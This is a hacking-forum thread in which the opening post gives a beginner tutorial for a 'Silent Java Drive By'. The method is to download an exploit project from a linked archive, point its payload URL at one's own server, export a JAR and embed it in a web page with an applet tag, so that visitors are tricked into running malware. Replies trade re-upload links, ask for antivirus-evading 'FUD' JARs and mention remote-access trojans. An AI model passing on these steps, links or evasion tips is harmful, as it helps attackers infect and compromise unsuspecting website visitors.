Thread: [Silent Java Drive By Tutorial](#) [\[NOOB FRIENDLY\]](#) [\[Pictures\]](#)

HexTheHexagon - May 21, 2013, 12:57 pm

Below i will teach you how to make a Silent Java Drive By. Enjoy!

Things you will need:

Java Eclipse

Text Editor

A Website With A Filemanager

Social Engineering Knowledge (Optimal)

A Computer

Why You Will Need These Stuff:

Java Eclipse: You will need that cause we will be programming our Java Drive By In Java.

Text Editor: You will need that cause we will need a index to put on our website.

A Website With A Filemanager: You will need that cause we will use that as the website your victim will visit. And it NEEDS file manager so we can upload the Java Drive By Files.

Social Engineering Knowledge: Social Engineering, is kinda when you are tricking someone. In our situation, we are going to trick someone going to a website with a Java Drive By

A Computer: I hope you understand why...

Lets Start!

First of all, open up Eclipse. Now make a new project. Then import a existing project. Now you will import the Java Drive By.

Download the project from: <https://www.dropbox.com/s/ix41ijmayg86jim/SJDB.rar>

In SJDB.rar there will be a folder named SJDB.

Now drag the SJDB Folder to your Desktop.

Now back to Eclipse. And import the SJDB folder from your Desktop.

Now if you successfully imported SJDB it should look something like this:

Spoiler [\(Click to View\)](#)

Congratulations! You made the first step!

Now click The Drop Down Arrow on exploit2

Spoiler [\(Click to View\)](#)

Now click The Drop Down Arrow on src

Spoiler [\(Click to View\)](#)

Now click The Drop Down Arrow on defgd11

Spoiler ([Click to View](#))

Now you will see 2 classes. 1 of them is named Base64.java and another one is named LMKjes.java

Now you will double-click LMKjes.java

Then you will see this:

Spoiler ([Click to View](#))

Then scroll down until you see this:

Spoiler ([Click to View](#))

Now replace the URL with your servers URL (Must be a direct download)

Then finally, export the project:

Spoiler ([Click to View](#))

Now when you clicked the Export... Button You Will See This:

Spoiler ([Click to View](#))

Click the Java drop down arrow, and select JAR file. Then hit Next.

Now you will see this:

Spoiler ([Click to View](#))

MAKE SURE THAT exploit2 IS CHECKED!

Then save it in whatever location you want, i made a Folder on my desktop named Java Drive By.
Then hit FINISH ?

Now go to the folder there you saved the Java Drive By.

Spoiler ([Click to View](#))

Now go to your text editor and paste this inside it:

```
Code <html><head></head><body><applet archive="YOUR JAVA DRIVE BY FILE NAME HERE"
code="DFE42z.class" width="1" height="1"></applet></body>
```

```
</html>
```

Then save it as index.htm in same directory as your java drive by file.

Then upload both files to your website and your DONE!

If you have any questions, post in comments!

Tutelary - May 21, 2013, 1:04 pm

It's not making a JDB that is difficult. Any person with half a brain can do that, it's about finding a FUD .jar file to make sure it isn't detected too much by AV scanners. (Else they'll block the website and the execution.)

Mustnabs - May 22, 2013, 3:07 pm

Does anyone know a FUD .jar files that are free?

jamdunguy - May 22, 2013, 7:33 pm

Gonna give this a try in the morning.

icheesy - May 23, 2013, 1:31 am

This was leeches off another forum o.o

[external forum link](#) posted on 04-06-2013 (not trying to advertise)

weird

bbmayem - June 3, 2013, 6:58 am

everyone is here talking about a FUD server??

but when i build a server with jrat and i scan it with <http://vscan.novirusthanks.org/> (YOU MUST SELECT " Do not distribute the sample " !!!!) it's not detected.

so my server is FUD

or am i wrong?

Broda - June 3, 2013, 7:30 am

I think they are talking about the java applet (usually applet.jar) that is detected. If I'm right, the applet just executes your server. Not sure tho, I'm not too experienced with JDBs yet.

Count Alucard - July 13, 2013, 3:29 pm

Is this still working for everyone else? I have tried it, but my file will not get executed. I do have everything setup right.

JyePie - July 13, 2013, 5:17 pm

Can anyone confirm this please??? :D //

paladin007 - September 27, 2013, 11:33 pm

the project has been removed from DB... can anyone reupload the project.. Thanks

sehpphire - September 28, 2013, 2:42 am

can anyone reupload the project.. Thanks.Reupload the file sir.

Count Alucard - September 28, 2013, 7:10 am

(Sep 28, 2013 02:42 AM)sehpphire Wrote: ([CITE](#)) can anyone reupload the project..

Thanks.Reupload the file sir.

Here is the link for everyone. <https://dl.dropboxusercontent.com/u/11622029/SJDB.rar>

Re-uploaded it on my Drop box, found it still sitting in a folder after I couldn't get it to work. If any of you get it work work let me know, enjoy.

whosdatguy - October 4, 2013, 8:36 pm

Oh awesome! You really re-uploaded the files! :) I'm going to test it right now.

Thanks in advance dude (Y)

paladin007 - October 5, 2013, 2:09 am

Thanks for the reupload cheers... but the sjdb is detected by antivirus.... :(

jakoozie - October 5, 2013, 4:36 am

I test with nodistribute.com and the result is: 12/35

<http://NoDistribute.com/result/Ttb47cG1Jys>

polochon - October 5, 2013, 11:47 am

It work but it is detected by the web browser...if somedy know how to make it fud

Vexane - October 5, 2013, 12:44 pm

(May 22, 2013 03:07 PM)mustafa421 Wrote: ([CITE](#)) Does anyone know a FUD .jar files that are free?

This guy ?

OOH, that made my day

hackerbouncer - November 19, 2013, 10:21 am

The drop box link has been rendered void. Can you please re-upload? So maybe we could try it?

???I?? - November 19, 2013, 10:49 am

ccman - November 19, 2013, 10:56 am

It is great, it is definitely give it a try

dmzm - November 19, 2013, 11:07 am

Seems good, I'll check it and hope it will work correctly. :)

whyso - January 21, 2014, 9:39 am

Link Is not working Please Re-upload,

D?pe - January 21, 2014, 10:28 am

Great tutorial man. Some of the links aren't working for me though.

SocialMediaPad - January 21, 2014, 11:36 am

Cheers for the tutorial man. It will come in handy. ;)

Count Alucard - February 1, 2014, 8:21 pm

Sorry to everyone who was trying to use my link, I found the file sitting around so i'll re-upload it now. It's very dated by now, just a heads up. <http://dl.dropboxusercontent.com/u/11622029/SJDB.rar>

opsafrica - February 1, 2014, 10:43 pm

Very nice thread thanks alot it was very informative. Bypassing anti viruses is the real trick

anihilator - February 2, 2014, 8:34 am

For me is not working... I get a question if i enable java, i enable it but it doesn't start anything..

Darragh22 - February 2, 2014, 11:44 am

Thanks alot for this tutorial helped me out alot

KnockSteadys - February 2, 2014, 3:17 pm

thanks this a cool tut on how to do this it will help alot

Gavin1224 - February 2, 2014, 6:14 pm

Great Tut help me a lot thanks man!!!

d3d0h - February 5, 2014, 5:07 am

File not available (on dropbox) :(

to short.

DN_GF - March 31, 2014, 4:13 am

Have sJDB's been patched with the latest Java updates or do they still work?

Goko - March 31, 2014, 10:51 am

Great Tut help me a lot thank you very much

xFu5i0n - May 21, 2014, 6:21 pm

Thanks for sharing this with us, really appreciate it.

twollybangin - August 2, 2014, 2:33 pm

Where do i get a website to upload it on

David Tennant - August 2, 2014, 9:41 pm

I hear people asking for free FUD .jars. Sadly, no. You usually(USUALLY) have to pay for that stuff.

SIM-1871219 - August 17, 2014, 3:54 pm

Very nice job ! Thanks for sharing ^^

Dayna - August 18, 2014, 2:32 am

Does this still work? I thought java drive bys were patched

!!!! - August 18, 2014, 1:46 pm

Java Drive Bys are not working anymore with the updates! N its like hell to start a java applet now with the recent update! N for a silent java drive by I highly doubt that it would work anymore!

s??l?s? - August 18, 2014, 8:09 pm

can anyone re upload this please...with any mind engineering :p

Younis Khan - December 7, 2014, 7:36 pm

Googled it and got an identical .rar. One question though - does this automatically execute it or must the person actually execute the file?

BlackHoax - February 4, 2015, 8:04 pm

It automatically executes. Only issue is that I'm not sure but I think Java Drive By's always ask for a do you want to run this thing and also they usually get detected by 95% of all AVs

Divisionan - February 5, 2015, 9:46 am

Thanks for sharing this OP, useful to me.

Hossy - February 6, 2015, 4:02 am

Hey guys,

always i wanna export my sjdb folder it says "Resource is not a file:
C:\Users\xyz\Desktop\SJDB\SJDB."

What can i do ? i cant import it.

greez

Doller Coin - February 6, 2015, 5:47 pm

This outdated.

This wouldn't work with latest version of Java.

Hossy - February 7, 2015, 6:22 pm

Okay,

can i buy some updatet jdb's or other exploits ?

leshinatu - February 18, 2015, 8:05 am

Is it posible to use this on tumblr?

abdula karkuki - April 20, 2015, 9:13 am

I want to update this exploit if possible Silent Java Drive By

Automatic - April 22, 2015, 3:56 pm

JDB doesn't work at all. Last working JDB was in 2013-2014

randoom15 - April 30, 2015, 11:39 am

Re-Upload

mediafire . com / download/tebnse5cvw85soa/SJDB.rar

diyari12 - November 3, 2015, 8:59 am

hi guys iam neet to exploit please

(Apr 30, 2015 11:39 AM)randoom15 Wrote: [\[CITE\]](#) Re-Upload

mediafire . com / download/tebnse5cvw85soa/SJDB.rar

hi iam need to exploit.please me
